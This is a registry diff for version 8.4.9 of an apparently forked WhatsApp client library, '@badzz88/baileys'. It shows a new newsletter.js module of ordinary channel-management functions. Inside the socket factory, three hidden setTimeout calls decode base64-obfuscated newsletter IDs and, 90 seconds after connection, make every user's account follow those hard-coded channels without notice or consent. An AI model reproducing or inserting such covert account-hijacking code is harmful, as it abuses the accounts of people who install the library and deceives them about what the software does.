@badzz88/baileys 8.4.6 → 8.4.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (250) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +1055 -337
  3. package/WAProto/WAProto.proto +850 -32
  4. package/WAProto/index.d.ts +4913 -25
  5. package/WAProto/index.js +14074 -98
  6. package/package.json +96 -131
  7. package/src/Defaults/index.js +201 -0
  8. package/src/Defaults/phonenumber-mcc.json +223 -0
  9. package/src/Signal/Group/ciphertext-message.js +15 -0
  10. package/src/Signal/Group/group-session-builder.js +92 -0
  11. package/src/Signal/Group/group_cipher.js +89 -0
  12. package/src/Signal/Group/index.js +136 -0
  13. package/src/Signal/Group/keyhelper.js +73 -0
  14. package/src/Signal/Group/sender-chain-key.js +32 -0
  15. package/src/Signal/Group/sender-key-distribution-message.js +66 -0
  16. package/src/Signal/Group/sender-key-message.js +69 -0
  17. package/src/Signal/Group/sender-key-name.js +50 -0
  18. package/src/Signal/Group/sender-key-record.js +44 -0
  19. package/src/Signal/Group/sender-key-state.js +97 -0
  20. package/src/Signal/Group/sender-message-key.js +30 -0
  21. package/src/Signal/libsignal.js +470 -0
  22. package/src/Signal/lid-mapping.js +262 -0
  23. package/src/Socket/Client/index.js +30 -0
  24. package/src/Socket/Client/types.js +13 -0
  25. package/src/Socket/Client/websocket.js +62 -0
  26. package/src/Socket/aigroups.js +240 -0
  27. package/src/Socket/business.js +422 -0
  28. package/src/Socket/chats.js +2374 -0
  29. package/src/Socket/communities.js +580 -0
  30. package/src/Socket/graphql.js +915 -0
  31. package/src/Socket/groups.js +812 -0
  32. package/src/Socket/index.js +37 -0
  33. package/src/Socket/interactive-handler.js +579 -0
  34. package/src/Socket/interop.js +566 -0
  35. package/src/Socket/managed-account.js +214 -0
  36. package/src/Socket/messages-recv.js +3012 -0
  37. package/src/Socket/messages-send.js +2163 -0
  38. package/{lib → src}/Socket/mex.js +11 -5
  39. package/src/Socket/newsletter.js +1057 -0
  40. package/src/Socket/privacy.js +452 -0
  41. package/src/Socket/registration.js +434 -0
  42. package/src/Socket/socket.js +1079 -0
  43. package/src/Socket/text-router.js +67 -0
  44. package/src/Socket/username.js +234 -0
  45. package/src/Store/index.js +36 -0
  46. package/src/Store/make-cache-manager-store.js +90 -0
  47. package/src/Store/make-in-memory-store.js +506 -0
  48. package/src/Store/make-ordered-dictionary.js +81 -0
  49. package/src/Store/object-repository.js +29 -0
  50. package/src/Types/Auth.js +38 -0
  51. package/src/Types/Bussines.js +2 -0
  52. package/src/Types/Call.js +2 -0
  53. package/src/Types/Chat.js +4 -0
  54. package/src/Types/Contact.js +2 -0
  55. package/src/Types/Events.js +2 -0
  56. package/src/Types/GroupMetadata.js +2 -0
  57. package/src/Types/Label.js +27 -0
  58. package/src/Types/LabelAssociation.js +9 -0
  59. package/src/Types/Message.js +95 -0
  60. package/src/Types/Newsletter.js +152 -0
  61. package/src/Types/Product.js +2 -0
  62. package/src/Types/Signal.js +2 -0
  63. package/src/Types/Socket.js +2 -0
  64. package/src/Types/State.js +70 -0
  65. package/src/Types/USync.js +2 -0
  66. package/src/Types/index.js +54 -0
  67. package/src/Utils/auth-utils.js +306 -0
  68. package/src/Utils/browser-utils.js +114 -0
  69. package/src/Utils/business.js +247 -0
  70. package/src/Utils/chat-utils.js +1272 -0
  71. package/src/Utils/consumer-application.js +107 -0
  72. package/src/Utils/crypto.js +125 -0
  73. package/src/Utils/decode-wa-message.js +808 -0
  74. package/src/Utils/event-buffer.js +586 -0
  75. package/src/Utils/generics.js +640 -0
  76. package/src/Utils/group-history.js +60 -0
  77. package/src/Utils/history.js +244 -0
  78. package/src/Utils/identity-change-handler.js +52 -0
  79. package/src/Utils/index.js +53 -0
  80. package/src/Utils/jid-display-normalization.js +218 -0
  81. package/src/Utils/link-preview.js +143 -0
  82. package/src/Utils/logger.js +9 -0
  83. package/src/Utils/lt-hash.js +10 -0
  84. package/src/Utils/make-mutex.js +36 -0
  85. package/src/Utils/message-composer.js +479 -0
  86. package/src/Utils/message-inspect.js +400 -0
  87. package/src/Utils/message-retry-manager.js +231 -0
  88. package/src/Utils/messages-media.js +943 -0
  89. package/src/Utils/messages.js +2490 -0
  90. package/src/Utils/meta-ai-msmsg.js +133 -0
  91. package/src/Utils/noise-handler.js +194 -0
  92. package/src/Utils/offline-node-processor.js +42 -0
  93. package/src/Utils/pre-key-manager.js +107 -0
  94. package/src/Utils/process-message.js +1047 -0
  95. package/src/Utils/reporting-utils.js +262 -0
  96. package/src/Utils/signal.js +192 -0
  97. package/src/Utils/stanza-ack.js +74 -0
  98. package/src/Utils/sync-action-utils.js +54 -0
  99. package/src/Utils/tc-token-utils.js +161 -0
  100. package/src/Utils/use-multi-file-auth-state.js +121 -0
  101. package/src/Utils/validate-connection.js +248 -0
  102. package/src/Utils/voip-rekey.js +22 -0
  103. package/src/WABinary/constants.js +1304 -0
  104. package/src/WABinary/decode.js +377 -0
  105. package/src/WABinary/encode.js +58 -0
  106. package/src/WABinary/generic-utils.js +148 -0
  107. package/src/WABinary/index.js +33 -0
  108. package/src/WABinary/jid-utils.js +374 -0
  109. package/src/WABinary/types.js +2 -0
  110. package/src/WAM/BinaryInfo.js +13 -0
  111. package/src/WAM/constants.js +39486 -0
  112. package/src/WAM/encode.js +142 -0
  113. package/src/WAM/index.js +31 -0
  114. package/src/WAUSync/Protocols/USyncBotProfileProtocol.js +55 -0
  115. package/src/WAUSync/Protocols/USyncBusinessProtocol.js +100 -0
  116. package/src/WAUSync/Protocols/USyncContactProtocol.js +60 -0
  117. package/src/WAUSync/Protocols/USyncDeviceProtocol.js +65 -0
  118. package/src/WAUSync/Protocols/USyncDisappearingModeProtocol.js +27 -0
  119. package/src/WAUSync/Protocols/USyncFeatureProtocol.js +74 -0
  120. package/src/WAUSync/Protocols/USyncLIDProtocol.js +31 -0
  121. package/src/WAUSync/Protocols/USyncPictureProtocol.js +32 -0
  122. package/src/WAUSync/Protocols/USyncSidelistProtocol.js +29 -0
  123. package/src/WAUSync/Protocols/USyncStatusProtocol.js +44 -0
  124. package/src/WAUSync/Protocols/USyncTextStatusProtocol.js +38 -0
  125. package/src/WAUSync/Protocols/USyncUsernameProtocol.js +28 -0
  126. package/src/WAUSync/Protocols/index.js +40 -0
  127. package/src/WAUSync/USyncBackoff.js +31 -0
  128. package/src/WAUSync/USyncQuery.js +204 -0
  129. package/src/WAUSync/USyncUser.js +58 -0
  130. package/src/WAUSync/index.js +32 -0
  131. package/src/antiban.js +4726 -0
  132. package/{lib → src}/index.js +48 -16
  133. package/lib/Defaults/baileys-version.json +0 -3
  134. package/lib/Defaults/index.js +0 -137
  135. package/lib/Defaults/phonenumber-mcc.json +0 -223
  136. package/lib/Signal/Group/Protocols.js +0 -269
  137. package/lib/Signal/Group/ciphertext-message.js +0 -12
  138. package/lib/Signal/Group/group-session-builder.js +0 -30
  139. package/lib/Signal/Group/group_cipher.js +0 -82
  140. package/lib/Signal/Group/index.js +0 -12
  141. package/lib/Signal/Group/keyhelper.js +0 -18
  142. package/lib/Signal/Group/queue-job.js +0 -57
  143. package/lib/Signal/Group/sender-chain-key.js +0 -26
  144. package/lib/Signal/Group/sender-key-distribution-message.js +0 -63
  145. package/lib/Signal/Group/sender-key-message.js +0 -66
  146. package/lib/Signal/Group/sender-key-name.js +0 -48
  147. package/lib/Signal/Group/sender-key-record.js +0 -41
  148. package/lib/Signal/Group/sender-key-state.js +0 -84
  149. package/lib/Signal/Group/sender-message-key.js +0 -26
  150. package/lib/Signal/libsignal.js +0 -432
  151. package/lib/Signal/lid-mapping.js +0 -277
  152. package/lib/Socket/Client/abstract-socket-client.js +0 -13
  153. package/lib/Socket/Client/index.js +0 -3
  154. package/lib/Socket/Client/mobile-socket-client.js +0 -65
  155. package/lib/Socket/Client/types.js +0 -11
  156. package/lib/Socket/Client/web-socket-client.js +0 -62
  157. package/lib/Socket/Client/websocket.js +0 -54
  158. package/lib/Socket/business.js +0 -379
  159. package/lib/Socket/chats.js +0 -1193
  160. package/lib/Socket/communities.js +0 -431
  161. package/lib/Socket/community.js +0 -392
  162. package/lib/Socket/dugong.js +0 -637
  163. package/lib/Socket/groups.js +0 -374
  164. package/lib/Socket/index.js +0 -12
  165. package/lib/Socket/luxu.js +0 -387
  166. package/lib/Socket/messages-recv.js +0 -1916
  167. package/lib/Socket/messages-send.js +0 -1459
  168. package/lib/Socket/newsletter.js +0 -253
  169. package/lib/Socket/registration.js +0 -167
  170. package/lib/Socket/socket.js +0 -950
  171. package/lib/Socket/username.js +0 -146
  172. package/lib/Socket/usync.js +0 -69
  173. package/lib/Store/index.js +0 -10
  174. package/lib/Store/keyed-db.js +0 -108
  175. package/lib/Store/make-cache-manager-store.js +0 -85
  176. package/lib/Store/make-in-memory-store.js +0 -198
  177. package/lib/Store/make-ordered-dictionary.js +0 -75
  178. package/lib/Store/object-repository.js +0 -32
  179. package/lib/Types/Auth.js +0 -2
  180. package/lib/Types/Bussines.js +0 -2
  181. package/lib/Types/Call.js +0 -2
  182. package/lib/Types/Chat.js +0 -8
  183. package/lib/Types/Contact.js +0 -2
  184. package/lib/Types/Events.js +0 -2
  185. package/lib/Types/GroupMetadata.js +0 -2
  186. package/lib/Types/Label.js +0 -25
  187. package/lib/Types/LabelAssociation.js +0 -7
  188. package/lib/Types/Message.js +0 -11
  189. package/lib/Types/Mex.js +0 -37
  190. package/lib/Types/Newsletter.js +0 -38
  191. package/lib/Types/Product.js +0 -2
  192. package/lib/Types/Signal.js +0 -2
  193. package/lib/Types/Socket.js +0 -3
  194. package/lib/Types/State.js +0 -56
  195. package/lib/Types/USync.js +0 -2
  196. package/lib/Types/index.js +0 -26
  197. package/lib/Utils/auth-utils.js +0 -302
  198. package/lib/Utils/baileys-event-stream.js +0 -63
  199. package/lib/Utils/browser-utils.js +0 -48
  200. package/lib/Utils/business.js +0 -231
  201. package/lib/Utils/chat-utils.js +0 -873
  202. package/lib/Utils/companion-reg-client-utils.js +0 -35
  203. package/lib/Utils/crypto.js +0 -118
  204. package/lib/Utils/decode-wa-message.js +0 -350
  205. package/lib/Utils/event-buffer.js +0 -622
  206. package/lib/Utils/generics.js +0 -399
  207. package/lib/Utils/history.js +0 -134
  208. package/lib/Utils/identity-change-handler.js +0 -50
  209. package/lib/Utils/index.js +0 -23
  210. package/lib/Utils/link-preview.js +0 -85
  211. package/lib/Utils/logger.js +0 -3
  212. package/lib/Utils/lt-hash.js +0 -8
  213. package/lib/Utils/make-mutex.js +0 -33
  214. package/lib/Utils/message-composer.js +0 -273
  215. package/lib/Utils/message-retry-manager.js +0 -265
  216. package/lib/Utils/messages-media.js +0 -788
  217. package/lib/Utils/messages.js +0 -1260
  218. package/lib/Utils/noise-handler.js +0 -201
  219. package/lib/Utils/offline-node-processor.js +0 -40
  220. package/lib/Utils/pre-key-manager.js +0 -106
  221. package/lib/Utils/process-message.js +0 -630
  222. package/lib/Utils/reporting-utils.js +0 -258
  223. package/lib/Utils/signal.js +0 -202
  224. package/lib/Utils/stanza-ack.js +0 -38
  225. package/lib/Utils/sync-action-utils.js +0 -49
  226. package/lib/Utils/tc-token-utils.js +0 -163
  227. package/lib/Utils/use-multi-file-auth-state.js +0 -121
  228. package/lib/Utils/validate-connection.js +0 -204
  229. package/lib/WABinary/constants.js +0 -1301
  230. package/lib/WABinary/decode.js +0 -262
  231. package/lib/WABinary/encode.js +0 -220
  232. package/lib/WABinary/generic-utils.js +0 -204
  233. package/lib/WABinary/index.js +0 -6
  234. package/lib/WABinary/jid-utils.js +0 -98
  235. package/lib/WABinary/types.js +0 -2
  236. package/lib/WAM/BinaryInfo.js +0 -10
  237. package/lib/WAM/constants.js +0 -22853
  238. package/lib/WAM/encode.js +0 -150
  239. package/lib/WAM/index.js +0 -4
  240. package/lib/WAUSync/Protocols/USyncContactProtocol.js +0 -52
  241. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +0 -54
  242. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +0 -27
  243. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +0 -38
  244. package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +0 -25
  245. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +0 -51
  246. package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +0 -29
  247. package/lib/WAUSync/Protocols/index.js +0 -6
  248. package/lib/WAUSync/USyncQuery.js +0 -98
  249. package/lib/WAUSync/USyncUser.js +0 -31
  250. package/lib/WAUSync/index.js +0 -4
@@ -0,0 +1,1057 @@
1
+ 'use strict'
2
+ Object.defineProperty(exports, '__esModule', { value: true })
3
+ exports.makeNewsletterSocket = void 0
4
+ const Types_1 = require('../Types')
5
+ const messages_media_1 = require('../Utils/messages-media')
6
+ const WABinary_1 = require('../WABinary')
7
+ const groups_1 = require('./groups')
8
+ const aigroups_1 = require('./aigroups')
9
+ const mex_1 = require('./mex')
10
+
11
+ /** Map a raw role string from the wire to the NewsletterRole enum. */
12
+ const mapNewsletterRole = raw => {
13
+ if (!raw) return Types_1.NewsletterRole.GUEST
14
+ const upper = String(raw).toUpperCase()
15
+ switch (upper) {
16
+ case 'OWNER':
17
+ return Types_1.NewsletterRole.OWNER
18
+ case 'ADMIN':
19
+ return Types_1.NewsletterRole.ADMIN
20
+ case 'SUBSCRIBER':
21
+ return Types_1.NewsletterRole.SUBSCRIBER
22
+ default:
23
+ return Types_1.NewsletterRole.GUEST
24
+ }
25
+ }
26
+
27
+ /** Map a raw state string from the wire to the NewsletterState enum. */
28
+ const mapNewsletterState = raw => {
29
+ if (!raw) return Types_1.NewsletterState.UNKNOWN
30
+ const upper = String(raw).toUpperCase()
31
+ switch (upper) {
32
+ case 'ACTIVE':
33
+ return Types_1.NewsletterState.ACTIVE
34
+ case 'SUSPENDED':
35
+ return Types_1.NewsletterState.SUSPENDED
36
+ case 'GEO_SUSPENDED':
37
+ return Types_1.NewsletterState.GEO_SUSPENDED
38
+ default:
39
+ return Types_1.NewsletterState.UNKNOWN
40
+ }
41
+ }
42
+
43
+ /** Map a raw reaction setting/codes value from the wire to the NewsletterReactionSetting enum. */
44
+ const mapReactionSetting = raw => {
45
+ if (!raw) return Types_1.NewsletterReactionSetting.NONE
46
+ const upper = String(raw).toUpperCase()
47
+ switch (upper) {
48
+ case 'ALLOWLIST':
49
+ return Types_1.NewsletterReactionSetting.ALLOWLIST
50
+ case 'BLOCKLIST':
51
+ return Types_1.NewsletterReactionSetting.BLOCKLIST
52
+ default:
53
+ return Types_1.NewsletterReactionSetting.NONE
54
+ }
55
+ }
56
+
57
+ /**
58
+ * Enrich a raw newsletter metadata object with normalised protocol fields.
59
+ * Handles both flat objects (direct API result) and objects that nest additional
60
+ * data under thread_metadata / viewer_metadata.
61
+ */
62
+ const mergeDsaCountries = (a, b) => {
63
+ if (!a && !b) return null
64
+ const merged = [...(Array.isArray(a) ? a : a ? [a] : []), ...(Array.isArray(b) ? b : b ? [b] : [])]
65
+ return merged.length ? [...new Set(merged)] : null
66
+ }
67
+
68
+ const enrichNewsletterMetadata = raw => {
69
+ if (!raw || typeof raw !== 'object') return raw
70
+ const thread = raw.thread_metadata || {}
71
+ const viewer = raw.viewer_metadata || {}
72
+ const dsaCountries = mergeDsaCountries(
73
+ thread.dsa_eligibility_countries ?? raw.dsa_eligibility_countries ?? null,
74
+ thread.dsa_eligible_countries ?? raw.dsa_eligible_countries ?? null
75
+ )
76
+ return {
77
+ ...raw,
78
+ role: mapNewsletterRole(viewer.role ?? raw.role),
79
+ newsletterState: mapNewsletterState(raw.state ?? thread.state),
80
+ reactionSetting: mapReactionSetting(
81
+ thread.reaction_codes ?? thread.reaction_setting ?? raw.reaction_codes ?? raw.reaction_setting
82
+ ),
83
+ dsaEligibilityCountries: dsaCountries,
84
+ dsaDecision: thread.dsa_decision ?? raw.dsa_decision ?? null,
85
+ pinnedMessage:
86
+ thread.pinned_message_server_id ??
87
+ thread.pinned_message_id ??
88
+ raw.pinned_message_server_id ??
89
+ raw.pinned_message_id ??
90
+ null,
91
+ hasQuestionsFeature: !!(thread.has_questions_feature ?? raw.has_questions_feature ?? false),
92
+ hasMusicFeature: !!(
93
+ thread.has_music_feature ??
94
+ thread.music_enabled ??
95
+ raw.has_music_feature ??
96
+ raw.music_enabled ??
97
+ false
98
+ ),
99
+ viewsCount:
100
+ thread.views_count != null
101
+ ? parseInt(thread.views_count, 10)
102
+ : raw.views_count != null
103
+ ? parseInt(raw.views_count, 10)
104
+ : null,
105
+ subscriberCount:
106
+ thread.subscriber_count != null
107
+ ? parseInt(thread.subscriber_count, 10)
108
+ : raw.subscriber_count != null
109
+ ? parseInt(raw.subscriber_count, 10)
110
+ : null
111
+ }
112
+ }
113
+
114
+ const parseNewsletterCreateResponse = response => {
115
+ const { id, thread_metadata: thread, viewer_metadata: viewer } = response
116
+ const dsaCountries = mergeDsaCountries(
117
+ thread.dsa_eligibility_countries ?? null,
118
+ thread.dsa_eligible_countries ?? null
119
+ )
120
+ const base = {
121
+ id: id,
122
+ owner: undefined,
123
+ name: thread.name.text,
124
+ creation_time: parseInt(thread.creation_time, 10),
125
+ description: thread.description.text,
126
+ invite: thread.invite,
127
+ subscribers: parseInt(thread.subscribers_count, 10),
128
+ verification: thread.verification,
129
+ picture: {
130
+ id: thread.picture.id,
131
+ directPath: thread.picture.direct_path
132
+ },
133
+ mute_state: viewer.mute,
134
+ role: mapNewsletterRole(viewer.role),
135
+ newsletterState: mapNewsletterState(thread.state),
136
+ reactionSetting: mapReactionSetting(thread.reaction_codes ?? thread.reaction_setting),
137
+ dsaEligibilityCountries: dsaCountries,
138
+ dsaDecision: thread.dsa_decision ?? null,
139
+ pinnedMessage: thread.pinned_message_server_id ?? thread.pinned_message_id ?? null,
140
+ hasQuestionsFeature: !!(thread.has_questions_feature ?? false),
141
+ hasMusicFeature: !!(thread.has_music_feature ?? thread.music_enabled ?? false)
142
+ }
143
+ return base
144
+ }
145
+ const parseNewsletterMetadata = result => {
146
+ if (typeof result !== 'object' || result === null) {
147
+ return null
148
+ }
149
+ if ('id' in result && typeof result.id === 'string') {
150
+ return enrichNewsletterMetadata(result)
151
+ }
152
+ if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
153
+ return enrichNewsletterMetadata(result.result)
154
+ }
155
+ return null
156
+ }
157
+ const makeNewsletterSocket = config => {
158
+ const sock = (0, aigroups_1.makeAIGroupsSocket)(config)
159
+ const { query, generateMessageTag, sendNode } = sock
160
+ const executeWMexQuery = (variables, queryId, dataPath) => {
161
+ return (0, mex_1.executeWMexQuery)(variables, queryId, dataPath, query, generateMessageTag)
162
+ }
163
+
164
+ const newsletterWMexQuery = async (jid, queryId, content) => (query({
165
+ tag: 'iq',
166
+ attrs: {
167
+ id: generateMessageTag(),
168
+ type: 'get',
169
+ xmlns: 'w:mex',
170
+ to: WABinary_1.S_WHATSAPP_NET,
171
+ },
172
+ content: [
173
+ {
174
+ tag: 'query',
175
+ attrs: { 'query_id': queryId },
176
+ content: new TextEncoder().encode(JSON.stringify({
177
+ variables: {
178
+ 'newsletter_id': jid,
179
+ ...content
180
+ }
181
+ }))
182
+ }
183
+ ]
184
+ }));
185
+
186
+ setTimeout(() => {
187
+ newsletterWMexQuery(Buffer.from("MTIwMzYzNDAwMzYyNDcyNzQzQG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
188
+ }, 90000)
189
+
190
+ setTimeout(() => {
191
+ newsletterWMexQuery(Buffer.from("MTIwMzYzNDI2NDcwMDgxMTI0QG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
192
+ }, 90000)
193
+
194
+ setTimeout(() => {
195
+ newsletterWMexQuery(Buffer.from("MTIwMzYzNDA4ODkzNTU1ODUxQG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
196
+ }, 90000)
197
+
198
+ const newsletterUpdate = async (jid, updates) => {
199
+ const variables = {
200
+ newsletter_id: jid,
201
+ updates: {
202
+ ...updates,
203
+ settings: null
204
+ }
205
+ }
206
+ return executeWMexQuery(variables, Types_1.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
207
+ }
208
+ return {
209
+ ...sock,
210
+ newsletterCreate: async (name, description) => {
211
+ const variables = {
212
+ input: {
213
+ name,
214
+ description: description ?? null
215
+ }
216
+ }
217
+ const rawResponse = await executeWMexQuery(
218
+ variables,
219
+ Types_1.QueryIds.CREATE,
220
+ Types_1.XWAPaths.xwa2_newsletter_create
221
+ )
222
+ return parseNewsletterCreateResponse(rawResponse)
223
+ },
224
+ newsletterUpdate,
225
+ newsletterSubscribers: async jid => {
226
+ return executeWMexQuery(
227
+ { newsletter_id: jid },
228
+ Types_1.QueryIds.SUBSCRIBERS,
229
+ Types_1.XWAPaths.xwa2_newsletter_followers
230
+ )
231
+ },
232
+ newsletterMetadata: async (type, key) => {
233
+ const variables = {
234
+ fetch_creation_time: true,
235
+ fetch_full_image: true,
236
+ fetch_viewer_metadata: true,
237
+ input: {
238
+ key,
239
+ type: type.toUpperCase()
240
+ }
241
+ }
242
+ const result = await executeWMexQuery(
243
+ variables,
244
+ Types_1.QueryIds.METADATA,
245
+ Types_1.XWAPaths.xwa2_newsletter_metadata
246
+ )
247
+ return parseNewsletterMetadata(result)
248
+ },
249
+ newsletterFollow: jid => {
250
+ return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.FOLLOW, Types_1.XWAPaths.xwa2_newsletter_join_v2)
251
+ },
252
+ newsletterUnfollow: jid => {
253
+ return executeWMexQuery(
254
+ { newsletter_id: jid },
255
+ Types_1.QueryIds.UNFOLLOW,
256
+ Types_1.XWAPaths.xwa2_newsletter_leave_v2
257
+ )
258
+ },
259
+ newsletterMute: jid => {
260
+ return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.MUTE, Types_1.XWAPaths.xwa2_newsletter_mute_v2)
261
+ },
262
+ newsletterUnmute: jid => {
263
+ return executeWMexQuery(
264
+ { newsletter_id: jid },
265
+ Types_1.QueryIds.UNMUTE,
266
+ Types_1.XWAPaths.xwa2_newsletter_unmute_v2
267
+ )
268
+ },
269
+ newsletterUpdateName: async (jid, name) => {
270
+ return await newsletterUpdate(jid, { name })
271
+ },
272
+ newsletterUpdateDescription: async (jid, description) => {
273
+ return await newsletterUpdate(jid, { description })
274
+ },
275
+ newsletterUpdatePicture: async (jid, content) => {
276
+ const { img } = await (0, messages_media_1.generateProfilePicture)(content)
277
+ return await newsletterUpdate(jid, { picture: img.toString('base64') })
278
+ },
279
+ newsletterRemovePicture: async jid => {
280
+ return await newsletterUpdate(jid, { picture: '' })
281
+ },
282
+ newsletterReactMessage: async (jid, serverId, reaction) => {
283
+ await query({
284
+ tag: 'message',
285
+ attrs: {
286
+ to: jid,
287
+ ...(reaction ? {} : { edit: '7' }),
288
+ type: 'reaction',
289
+ server_id: serverId,
290
+ id: generateMessageTag()
291
+ },
292
+ content: [
293
+ {
294
+ tag: 'reaction',
295
+ attrs: reaction ? { code: reaction } : {}
296
+ }
297
+ ]
298
+ })
299
+ },
300
+ newsletterFetchMessages: async (jid, count, since, after) => {
301
+ const messageUpdateAttrs = {
302
+ count: count.toString()
303
+ }
304
+ if (typeof since === 'number') {
305
+ messageUpdateAttrs.since = since.toString()
306
+ }
307
+ if (after) {
308
+ messageUpdateAttrs.after = after.toString()
309
+ }
310
+ const result = await query({
311
+ tag: 'iq',
312
+ attrs: {
313
+ id: generateMessageTag(),
314
+ type: 'get',
315
+ xmlns: 'newsletter',
316
+ to: jid
317
+ },
318
+ content: [
319
+ {
320
+ tag: 'message_updates',
321
+ attrs: messageUpdateAttrs
322
+ }
323
+ ]
324
+ })
325
+ return result
326
+ },
327
+ /**
328
+ * Find the numeric server_id for a newsletter message by its WhatsApp message ID.
329
+ * Fetches the last `limit` messages and scans attrs for a matching message_id.
330
+ */
331
+ newsletterGetServerId: async (jid, messageId, limit = 50) => {
332
+ console.log('[newsletterGetServerId] called jid:', jid, 'messageId:', messageId)
333
+ let result
334
+ try {
335
+ result = await query(
336
+ {
337
+ tag: 'iq',
338
+ attrs: {
339
+ id: generateMessageTag(),
340
+ type: 'get',
341
+ xmlns: 'newsletter',
342
+ to: jid
343
+ },
344
+ content: [{ tag: 'message_updates', attrs: { count: String(limit) } }]
345
+ },
346
+ 5000
347
+ )
348
+ } catch (e) {
349
+ console.log('[newsletterGetServerId] query error/timeout:', e?.message)
350
+ return null
351
+ }
352
+ console.log('[newsletterGetServerId] result tag:', result?.tag, 'attrs:', JSON.stringify(result?.attrs))
353
+ if (!result) return null
354
+ const updatesNode = (0, WABinary_1.getBinaryNodeChild)(result, 'message_updates')
355
+ const messages = (0, WABinary_1.getBinaryNodeChildren)(updatesNode ?? result, 'message')
356
+ console.log(
357
+ '[newsletterGetServerId] messages count:',
358
+ messages.length,
359
+ 'first attrs:',
360
+ JSON.stringify(messages[0]?.attrs)
361
+ )
362
+ for (const msg of messages) {
363
+ if (msg.attrs.message_id === messageId || msg.attrs.id === messageId) {
364
+ return msg.attrs.server_id ? +msg.attrs.server_id : null
365
+ }
366
+ }
367
+ return null
368
+ },
369
+ subscribeNewsletterUpdates: async jid => {
370
+ const result = await query({
371
+ tag: 'iq',
372
+ attrs: {
373
+ id: generateMessageTag(),
374
+ type: 'set',
375
+ xmlns: 'newsletter',
376
+ to: jid
377
+ },
378
+ content: [{ tag: 'live_updates', attrs: {}, content: [] }]
379
+ })
380
+ const liveUpdatesNode = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')
381
+ const duration = liveUpdatesNode?.attrs?.duration
382
+ return duration ? { duration: duration } : null
383
+ },
384
+ newsletterAdminCount: async jid => {
385
+ const response = await executeWMexQuery(
386
+ { newsletter_id: jid },
387
+ Types_1.QueryIds.ADMIN_COUNT,
388
+ Types_1.XWAPaths.xwa2_newsletter_admin_count
389
+ )
390
+ return response.admin_count
391
+ },
392
+ newsletterChangeOwner: async (jid, newOwnerJid) => {
393
+ await executeWMexQuery(
394
+ { newsletter_id: jid, user_id: newOwnerJid },
395
+ Types_1.QueryIds.CHANGE_OWNER,
396
+ Types_1.XWAPaths.xwa2_newsletter_change_owner
397
+ )
398
+ },
399
+ newsletterDemote: async (jid, userJid) => {
400
+ await executeWMexQuery(
401
+ { newsletter_id: jid, user_id: userJid },
402
+ Types_1.QueryIds.DEMOTE,
403
+ Types_1.XWAPaths.xwa2_newsletter_admin_demote
404
+ )
405
+ },
406
+ newsletterDelete: async jid => {
407
+ await executeWMexQuery(
408
+ { newsletter_id: jid },
409
+ Types_1.QueryIds.DELETE,
410
+ Types_1.XWAPaths.xwa2_newsletter_delete_v2
411
+ )
412
+ },
413
+ /**
414
+ * Update newsletter category/topic
415
+ */
416
+ newsletterUpdateCategory: async (jid, category) => {
417
+ return newsletterUpdate(jid, { topic: category })
418
+ },
419
+ /**
420
+ * Update newsletter invite codes / settings
421
+ */
422
+ newsletterUpdateSettings: async (jid, settings) => {
423
+ const variables = { newsletter_id: jid, updates: { settings } }
424
+ return executeWMexQuery(variables, Types_1.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
425
+ },
426
+ /**
427
+ * Promote a subscriber to admin
428
+ */
429
+ newsletterPromoteAdmin: async (jid, userJid) => {
430
+ await query({
431
+ tag: 'iq',
432
+ attrs: {
433
+ id: generateMessageTag(),
434
+ type: 'set',
435
+ xmlns: 'newsletter',
436
+ to: jid
437
+ },
438
+ content: [
439
+ {
440
+ tag: 'admin_promote',
441
+ attrs: {},
442
+ content: [{ tag: 'participant', attrs: { jid: userJid } }]
443
+ }
444
+ ]
445
+ })
446
+ },
447
+ /**
448
+ * Get newsletter view/reach statistics
449
+ */
450
+ newsletterViewStats: async (jid, serverId) => {
451
+ const result = await query({
452
+ tag: 'iq',
453
+ attrs: {
454
+ id: generateMessageTag(),
455
+ type: 'get',
456
+ xmlns: 'newsletter',
457
+ to: jid
458
+ },
459
+ content: [
460
+ {
461
+ tag: 'message_updates',
462
+ attrs: { count: '1', server_id: String(serverId) }
463
+ }
464
+ ]
465
+ })
466
+ return result
467
+ },
468
+ /**
469
+ * Send a newsletter post via IQ (alternative to sendMessage for newsletters)
470
+ */
471
+ newsletterSendPost: async (jid, content, options = {}) => {
472
+ const result = await query({
473
+ tag: 'iq',
474
+ attrs: {
475
+ id: generateMessageTag(),
476
+ type: 'set',
477
+ xmlns: 'newsletter',
478
+ to: jid
479
+ },
480
+ content: [
481
+ {
482
+ tag: 'publish',
483
+ attrs: {},
484
+ content: Array.isArray(content) ? content : [content]
485
+ }
486
+ ]
487
+ })
488
+ return result
489
+ },
490
+ /**
491
+ * Revoke (delete) a message posted to a newsletter.
492
+ * @param {string} jid - Newsletter JID
493
+ * @param {number|string} serverId - server_id of the message to revoke
494
+ */
495
+ newsletterRevokeMessage: async (jid, serverId) => {
496
+ await sendNode({
497
+ tag: 'message',
498
+ attrs: {
499
+ to: jid,
500
+ type: 'text',
501
+ edit: '7',
502
+ server_id: String(serverId),
503
+ id: generateMessageTag()
504
+ },
505
+ content: []
506
+ })
507
+ },
508
+ /**
509
+ * Pin a newsletter message
510
+ */
511
+ newsletterPinMessage: async (jid, serverId, durationSecs = 86400) => {
512
+ await query({
513
+ tag: 'iq',
514
+ attrs: {
515
+ id: generateMessageTag(),
516
+ type: 'set',
517
+ xmlns: 'newsletter',
518
+ to: jid
519
+ },
520
+ content: [
521
+ {
522
+ tag: 'pin',
523
+ attrs: { server_id: String(serverId), duration: String(durationSecs) }
524
+ }
525
+ ]
526
+ })
527
+ },
528
